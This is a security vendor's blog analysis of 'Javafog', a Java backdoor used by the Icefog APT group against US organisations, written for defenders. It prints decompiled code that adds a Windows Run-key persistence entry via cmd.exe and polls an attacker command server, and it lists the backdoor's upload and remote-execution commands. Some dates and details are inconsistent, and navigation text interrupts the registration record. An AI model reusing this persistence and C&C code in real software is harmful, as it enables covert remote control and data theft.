



The Icefog APT Hits US Targets With Java Backdoor

0.1



Costin Raiu

Kaspersky Lab Expert

Posted January 14, 13:14 GMT

Tags: [JavaScript](#), [Targeted Attacks](#)

VitalyK

Kaspersky Lab Expert

Posted January 14, 13:14 GMT

Tags: [JavaScript](#), [Targeted Attacks](#)

Igor Soumenkov

Kaspersky Lab Expert

Posted January 14, 13:14 GMT

Tags: [JavaScript](#), [Targeted Attacks](#)

In September 2013, we published our extensive analysis of Icefog, an APT campaign that focused on the supply chain -- targeting government institutions, military contractors, maritime and ship-building groups.

Icefog, also known as the ?Dagger Panda by CrowdStrike-s naming convention, infected targets mainly in South Korea and Japan. You can find our [Icefog APT analysis and detailed report here](#).

Since the publication of our report, the Icefog attackers went completely dark, shutting down all known command-and-control servers. Nevertheless, we continued to monitor the operation by sinkholing domains and analysing victim connections. During this monitoring, we observed an interesting type of connection which seemed to indicate a Java version of Icefog, further to be referenced as ?Javafog.

Meet "Lingdonga"

The Icefog operation has been operational since at least 2011, with many different variants released during this time. For Microsoft Windows PCs, we identified at least 6 different generations:

- The ?old 2011 Icefog -- sends stolen data by e-mail; this version was used against the Japanese House of Representatives and the House of Councillors in 2011.
- Type ?1 ?normal Icefog -- interacts with command-and-control servers via a set of ?.aspx scripts.
- Type ?2 Icefog -- interacts with a script-based proxy server that redirects commands from the attackers to another machine.
- Type ?3 Icefog -- a variant that uses a certain type of C&C server with scripts named ?view.asp and ?update.asp
- Type ?4 Icefog -- a variant that uses a certain type of C&C server with scripts named ?upfile.asp
- Icefog-NG -- communicates by direct TCP connection to port 5600

In addition to these, we also identified ?Macfog, a native Mac OS X implementation of Icefog that infected several hundred victims worldwide.

By correlating registration information for the different domains used by the malware samples, we were able to identify 72 different command-and-control servers, of which we managed to sinkhole 27.

One interesting domain in particular was ?lingdonga[dot]com, which expired in September 2013 and we took over in October 2013. Here-s what the original contact information looked like:

Domain Name: LINGDONA.COM
Registrant Contact:
lin ming hua
lin ming kevistin@qq.com
telephone: +86.031185878412

Analysis

[Kaspersky Security Bulletin 2013. Corporate threats](#)
[The Icefog APT: Frequently Asked Questions](#)
[Winnti. More than just a game](#)
[Winnti 1.0 technical analysis](#)
["Red October". Detailed Malware Description 1. First Stage of Attack](#)

Blog

[Malware in metadata](#)
[Destructive Malware – Five Wipers in the Spotlight](#)
[Microsoft Updates December 2013 - Patching Critical 0day Exploited in the Wild](#)
[Corporate threats in 2013 - the expert opinion](#)
[The rush for CVE-2013-3906 - a hot commodity](#)

fax: +86.031185878412
fuzhoushi Fuzhou Shi Fujian Sheng 412141
CN

The domain was originally hosted in Hong Kong, at IP 206.161.216.214 and 103.20.195.140, and appeared suspicious because of the registration data, which seemed to match other known Icefog domains. As soon as we sinkholed it, we observed a number of suspicious connections, almost every 10 seconds:


```
69.59.x.x www.lingdona.com - [26/Oct/2013:23:59:39 +0000] "POST /news/latestnews.as
69.59.x.x www.lingdona.com - [26/Oct/2013:23:59:45 +0000] "POST /news/latestnews.as
38.100.x.x www.lingdona.com - [26/Oct/2013:23:59:48 +0000] "GET /news/latestnews.as
38.100.x.x www.lingdona.com - [26/Oct/2013:23:59:58 +0000] "GET /news/latestnews.as
```

Interestingly, the User-Agent string indicated the client could be a Java application, however, this was unusual because all other Icefog variants used regular IE User-Agent strings.

Finding the sample

While we suspected there was a malware sample in the wild connecting to the domain ?lingdona[dot]com, we didn't have a copy of that particular Icefog trojan.

Luck seemed to strike when we came by a JSUNPACK submission that appeared quite interesting.



In November 2012, someone submitted an interesting URL to the public JSUNPACK service which was hosted on the ?sejongng[dot]org server, a known Icefog domain. It also appeared to reference ?starwars123[dot]net, another known Icefog domain.

Most interestingly, the HTML page references a Java applet ?policyapplet.jar with a long hexadecimal string parameter named ?jar. Unfortunately, we were not able to recover the ?policyapplet.jar file, which was most likely a Java exploit. Decoding the hexadecimal string, we found another Java applet with the following information:

Size: 8697 bytes
MD5: d26af487534cd1d575e747ff240ee6357

Later, we discovered the extracted applet was also uploaded to a virus scanning service around the same time.

The Javafog

The ?jar applet caught our attention so we analysed to determine how it works.

The JAR format uses ZIP compression to store the data in compact form. The ZIP header uses timestamps to track when files were added to the archive. This helps understanding when the JAR file could have been created. Here is ZIP directory information from the applet:

```
Date Time Attr Size Compressed Name
-----
2012-10-30 16:47:50 ..... 129 115 META-INF/MANIFEST.MF
2012-10-30 16:47:50 ..... 259 206 META-INF/B8228E45.SF
2012-10-30 16:47:50 ..... 5365 3610 META-INF/B8228E45.RSA
2010-10-29 22:44:06 ..... 7726 4226 JavaTool.class
```

This means that the JAR file was most likely created on 30th November 2012, while the main class JavaTool.class was compiled two years before that, on 29th November 2010.

Upon startup, it tries to register itself as a startup entry to achieve persistence. The module writes a registry value to ensure it is automatically started by Windows:

```
[HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run]
JavaUpdate=%TEMP%\update.jar
```


It is worth noting that the module does not copy itself to that location. It is possible that the missing file ?policyapplet.jar contains the parts of the installation routine.

```
public static void main(String args[])
    throws Exception
{
    System.out.println("enter info main");
    if(args.length > 0)
    {
        parminfo = args[0];
        System.out.println(parminfo);
    }
    try
    {
        String s2 = (new StringBuilder()).append(System.getProperty("java.io.tmpdir"
    )).append("update.jar").toString();
        String s1 = (new StringBuilder("reg add hkcu\\software\\microsoft\\windows\\
currentversion\\run /v JavaUpdate /t REG_SZ /d ")).append(s2).toString();
        Runtime.getRuntime().exec((new StringBuilder("cmd.exe /c ")).append(s1).toSt
ring());
    }
}
```

Next, it enters a loop where it keeps calling its main C&C function, with a delay of 1000ms. The main loop contacts the well known Icefog C&C server - ?www.lingdona[dot]com/news and interacts with it.

```
public static int ToolFun()
{
    try
    {
        String PageDomain = "http://www.lingdona.com/news";
        String DomainPath = (new StringBuilder()).append(System.getProperty("java.io
.tmpdir")).append("update.dat").toString();
        File fdomainfile = new File(DomainPath);
        if(fdomainfile.exists())
        {
            BufferedReader reader = new BufferedReader(new FileReader(fdomainfile));
            for(String tempStr = null; (tempStr = reader.readLine()) != null;)
            {
                if(tempStr.length() > 5)
                {
                    tempStr = (new StringBuilder(String.valueOf(tempStr))).append("/
news").toString();
                    PageDomain = tempStr;
                }
            }
            reader.close();
        }
    }
}
```

First of all, it sends the full system information profile, which the attackers can use to determine if the victim is ?interesting or has any real value. Here-s a PCAP of the conversation:



In the screenshot above, ?title=2.0_1651809722 indicates a unique victim ID that is computed by hashing the hostname. This can be used by the operators to uniquely identify the victim and send commands to it.

As a reply to the uploaded system information, the backdoor expects an ?order-, which can have different values:

Command Description:

- **upload_*** - Upload a local file specified after the command to the C&C server by URL ?%C&C server URL%/uploads/%file name%. Uploaded data is encrypted with a simple XOR operation with key 0x99.
- **cmd_UpdateDomain** - Migrate to a new C&C server URL specified after the command. The new URL is also written to the file ?%TEMP%\update.dat
- **cmd_*** - Execute the string specified after the command using ?cmd.exe /c. The results are uploaded to the C&C server by URL ?%C&C server URL%/newsdetail.aspx?title=2.0_%host name%.

Besides the above, the backdoor doesn't do much else. It allows the attackers to control the infected system and download files from it. Simple, yet very effective.

Geography of victims

One might wonder what is the purpose of something like the Javafog backdoor. The truth is that even at the time of writing, detection for Javafog is extremely poor (3/47 on VirusTotal). Java malware is definitely not as popular as Windows PE malware, and can be harder to spot.

During the sinkholing operation for the ?lingdona[dot]com domain, we observed 8 IPs for three unique victims of Javafog, all of them in the United States. Interestingly, during the observation period, two of the victims updated the Java version from "Java/1.7.0_25 to "Java/1.7.0_45".

Based on the IP address, one of the victims was identified as a very large American independent Oil and Gas corporation, with operations in many other countries.

As of today, all victims have been notified about the infections. Two of the victims have removed it already.

Conclusions

With Javafog, we are turning yet another page in the Icefog story by discovering another generation of backdoors used by the attackers.

In one particular case, we observed the attack commencing by exploiting a Microsoft Office vulnerability, followed by the attackers attempting to deploy and run Javafog, with a different C&C. We can assume that based on their experience, the attackers found the Java backdoor to be more stealthy and harder to notice, making it more attractive for long term operations. (Most Icefog operations being very short - the ?hit and run type).

The focus on the US targets associated with the only known Javafog C&C could indicate a US-specific operation run by the Icefog attackers; one that was planned to take longer than usual, such as, for instance, long term collection of intelligence on the target. This brings another dimensions to the Icefog gang-s operations, which appear to be more diverse than initially thought.

Comments

If you would like to comment on this article you must first [login](#)



© 1997-2014 Kaspersky Lab ZAO. All Rights Reserved.

Industry-leading Antivirus Software.

Registered trademarks and service marks are the property of their respective owners.

The authors' opinions do not necessarily reflect the official positions of Kaspersky Lab.

[securelist.com](#)

[Threats](#)

[Analysis](#)

[Blog](#)

[Descriptions](#)

[Glossary](#)

[RSS feeds](#)

[Contacts](#)

[Search](#)

[kaspersky.com](#)

[Products](#)

[eStore](#)

[Threats](#)

[Downloads](#)

[Support](#)

[Partners](#)

[About Us](#)

[Search](#)